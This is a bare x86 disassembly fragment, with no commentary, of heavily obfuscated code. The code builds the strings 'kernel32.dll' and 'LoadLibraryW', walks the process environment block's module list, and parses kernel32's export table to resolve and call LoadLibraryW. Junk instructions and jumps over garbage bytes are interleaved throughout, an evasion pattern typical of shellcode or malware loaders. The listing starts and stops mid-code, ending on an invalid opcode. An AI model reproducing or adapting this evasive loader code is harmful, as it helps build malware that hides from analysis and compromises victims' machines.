mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edi
jmp 0x4254a2
or edi, 0xd241
pop edi
push ecx
push edx
add esp, 4
or ecx, 0x10a80
pop ecx
push ebx
jmp 0x4254bc
jmp 0x4254c5
xor ebx, 0x15f9a
pop ebx
push edx
push ebx
add esp, 4
add edx, 0x1750e
jmp 0x4254dd
pop edx
push eax
or eax, 0x7b2a
call 0x4254f4
add byte [eax], bh
inc ecx
aaa
cmp eax, 0x48404345
cmp dword [ebx - 0x1f7efb3c], eax
mov bl, 0x27
add dword [eax], eax
pop eax
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push edx
push ebx
add esp, 4
call 0x42553a
add byte [0x5042434f], dh
cmp eax, dword [edx + 0x39]
dec esp
add esp, 4
and edx, 0x11306
xor edx, 0x1024f
pop edx
push esi
xor esi, 0x6ae2
jmp 0x425557
pop esi
cmp dword [ebp - 0x14d4], 0
jne 0x425570
mov dword [ebp - 0x2e0], 0
jmp 0x42582c
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ecx
push edi
add esp, 4
jmp 0x42558d
pop ecx
push edx
or edx, 0x11a5f
xor edx, 0xd481
pop edx
push edi
push edx
add esp, 4
and edi, 0x14ea0
pop edi
push esi
push edx
add esp, 4
add esi, 0x157eb
pop esi
cmp dword [ebp - 0xc20], 0
jne 0x4255cc
mov dword [ebp - 0x2e0], 0
jmp 0x42582c
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edx
push esi
add esp, 4
call 0x4255eb
add byte [esi], bh
cmp al, 0x4b
dec ecx
dec esp
inc ebx
inc ecx
add esp, 4
sub edx, 0x1573d
call 0x425601
add byte [ebp + 0x4d], cl
dec ebp
dec esp
dec ecx
cmp al, byte [edx - 0x7d]
les eax, [ebx + ebp*8]
add eax, dword [ecx + 0x32]
inc ecx
pop edx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push esi
push ebx
add esp, 4
xor esi, 0x45af
call 0x42564f
add byte [eax + 0x38], cl
aas
dec edx
inc ebx
xor al, byte ds:[ebx + 0x535e04c4]
xor ebx, 0x571b
and ebx, 0x1523e
pop ebx
push esi
and esi, 0x9f3a
pop esi
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push ecx
push edi
add esp, 4
jmp 0x4256d0
pop ecx
push edi
push edx
add esp, 4
add edi, 0x1392
pop edi
push edi
push ebx
add esp, 4
and edi, 0xb0d7
jmp 0x4256ee
and edi, 0x5dd4
pop edi
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x425718
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x42577b
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x425637
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x425637
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x425765
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x42576f
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x4257c4
push ebx
xor ebx, 0x1302e
pop ebx
push ebx
sub ebx, 0x12961
call 0x4257a2
add byte [esp + eax*2 + 0x43], cl
inc ebx
dec ebx
cmp byte [edx], dh
cmp ecx, dword [ebx + eax*4 - 0x3c]
add al, 0xeb
push es
dec ecx
dec edx
inc edx
cmp eax, 0x4c06eb43
cmp ecx, dword [esi + 0x36]
inc esp
pop ebx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x42582c
push eax
push esi
add esp, 4
xor eax, 0x15d20
call 0x4257db
add byte [edi], dh
push eax
dec esi
dec edi
inc eax
dec eax
add esp, 4
pop eax
push esi
push esi
add esp, 4
call 0x4257f2
add byte [ebx + eax*2], bh
aaa
dec edx
push eax
xor dh, byte [edx]
inc eax
add esp, 4
pop esi
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x425822
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x4255d8
mov dword [ebp - 0x2e0], 0
push edi
push ecx
add esp, 4
xor edi, 0x1192c
jmp 0x425840
or edi, 0x5c4c
add edi, 0x8f27
pop edi
push edx
push edx
add esp, 4
jmp 0x425857
and edx, 0xeb75
pop edx
cmp dword [ebp - 0x2e0], 0
jne 0x426177
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ecx
push eax
add esp, 4
xor ecx, 0x18e8
pop ecx
push ebx
or ebx, 0x12fed
pop ebx
push edx
push esi
add esp, 4
and edx, 0x9d7c
and edx, 0x7a5a
add edx, 0x5567
sub edx, 0x622d
pop edx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push edi
push eax
add esp, 4
xor edi, 0x9d55
pop edi
push eax
push eax
add esp, 4
sub eax, 0xbd01
xor eax, 0x4eb9
pop eax
push ecx
push edx
add esp, 4
and ecx, 0x9936
pop ecx
push edi
or edi, 0xf97b
pop edi
cmp dword [ebp - 0x14dc], 0
jne 0x425a02
mov dword [ebp - 0x6ec], 0
jmp 0x425cbe
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ecx
jmp 0x425a1c
add ecx, 0x11a04
call 0x425a2e
add byte [ebx + 0x32], al
aaa
inc esp
dec eax
cmp al, 0x83
les eax, [ecx + ebx*2]
push ecx
sub ecx, 0xbfe
add ecx, 0x2ea8
and ecx, 0x17ae0
pop ecx
cmp dword [ebp - 0xc2c], 0
jne 0x425a5e
mov dword [ebp - 0x6ec], 0
jmp 0x425cbe
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push ebx
or ebx, 0x4bc5
call 0x425a81
add byte [ebp + eax*2 + 0x3b], al
inc eax
aaa
dec edi
xor eax, 0x83363e42
les eax, [ecx + eax*4]
ret
push ecx
or ecx, 0x17e0c
pop ecx
push esi
sub esi, 0x16638
pop esi
push ebx
add ebx, 0x171be
and ebx, 0x819f
and ebx, 0x131d7
jmp 0x425ce7
pop ebx
push edi
or edi, 0x1c88
pop edi
cmp dword [ebp - 0x6ec], 0
jne 0x425d3a
push esi
push ebx
add esp, 4
and esi, 0x2f07
or esi, 0x8de
or esi, 0x572d
sub esi, 0x1161e
pop esi
push ebx
sub ebx, 0x6630
sub ebx, 0x12448
xor ebx, 0x4c77
pop ebx
mov dword [ebp - 0x738], 0
jmp 0x426861
push edx
push edx
add esp, 4
sub edx, 0xc274
pop edx
push edi
push edi
add esp, 4
add edi, 0x20fc
call 0x425d60
add byte [eax], bh
inc ecx
inc eax
inc edi
dec edi
inc ecx
cmp al, byte [esi + 0x40]
add esp, 4
pop edi
push edi
or edi, 0x10304
pop edi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x425dab
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x42609c
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x425dd3
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x42609c
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x425e05
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x42609c
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x425e2a
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x42609c
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x425e84
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x426090
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x425ef4
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x425fa6
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x425fa6
push eax
jmp 0x425f27
pop eax
push edx
push eax
add esp, 4
call 0x425f3d
add byte [esi + 0x45], cl
cmp byte [edi], dh
aaa
cmp dword [ebx + 0x38], ecx
dec esp
inc edx
add esp, 4
or edx, 0x1605e
or edx, 0x15fe2
xor edx, 0x676f
pop edx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x425f98
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x425f9f
jmp 0x425ee5
jmp 0x425fa6
push edi
push edx
add esp, 4
add edi, 0x1845b
pop edi
push ecx
push ecx
add esp, 4
or ecx, 0xe7ce
add ecx, 0xd591
and ecx, 0x15428
pop ecx
push edi
add edi, 0xb0fd
xor edi, 0x16931
pop edi
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x426005
mov dword [ebp - 0xc30], 0
jmp 0x426074
push edx
push edi
add esp, 4
or edx, 0xcdb2
sub edx, 0x7d65
pop edx
push ebx
call 0x426027
add byte [ebx + 0x4b], cl
dec edx
cmp dh, byte ds:[eax*2 - 0x3b7cc1bf]
add al, 0x81
ret
cmp dword [ebp - 0xc30], 0
jne 0x42608b
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x42609c
jmp 0x425e75
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x426177
push esi
push eax
add esp, 4
sub esi, 0x1086
sub esi, 0xcc45
sub esi, 0x14692
and esi, 0xfce1
pop esi
push eax
push ecx
add esp, 4
or eax, 0x7b00
pop eax
push edx
sub edx, 0x15f2e
pop edx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push eax
push edx
add esp, 4
add eax, 0xe152
pop eax
push edi
and edi, 0x177d8
sub edi, 0x131fd
add edi, 0x8319
xor edi, 0x74bc
pop edi
push ecx
push esi
add esp, 4
xor ecx, 0x127a0
pop ecx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x426177
push eax
push ecx
add esp, 4
or eax, 0x1573d
pop eax
push esi
push eax
add esp, 4
sub esi, 0xfbc4
add esi, 0x15cd7
and esi, 0x12036
xor esi, 0x105f0
pop esi
push ecx
xor ecx, 0x44c3
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x426861
push ecx
push edx
add esp, 4
xor ecx, 0x12f2e
pop ecx
push edx
or edx, 0x17936
add edx, 0x8925
pop edx
push eax
push edx
add esp, 4
add eax, 0xd25d
xor eax, 0xb7d0
or eax, 0xfe90
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push ebx
or ebx, 0x516b
jmp 0x4261e0
pop ebx
push eax
push esi
add esp, 4
sub eax, 0x8f3b
pop eax
push edi
push edi
add esp, 4
call 0x4261fe
add byte [edx], bh
aaa
inc edi
cmp dword [esi + edi], esi
add esp, 4
pop edi
cmp dword [ebp - 0x14f4], 0
jne 0x42621a
mov dword [ebp - 0x2e0], 0
jmp 0x4264c1
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push edi
push edi
add esp, 4
sub edi, 0xc3c4
call 0x426246
add byte [edx], bh
xor edi, dword [ecx]
inc ebp
inc eax
dec ebp
dec ebp
cmp byte [ebx + eax*4 - 0x3c], cl
add al, 0x81
invalid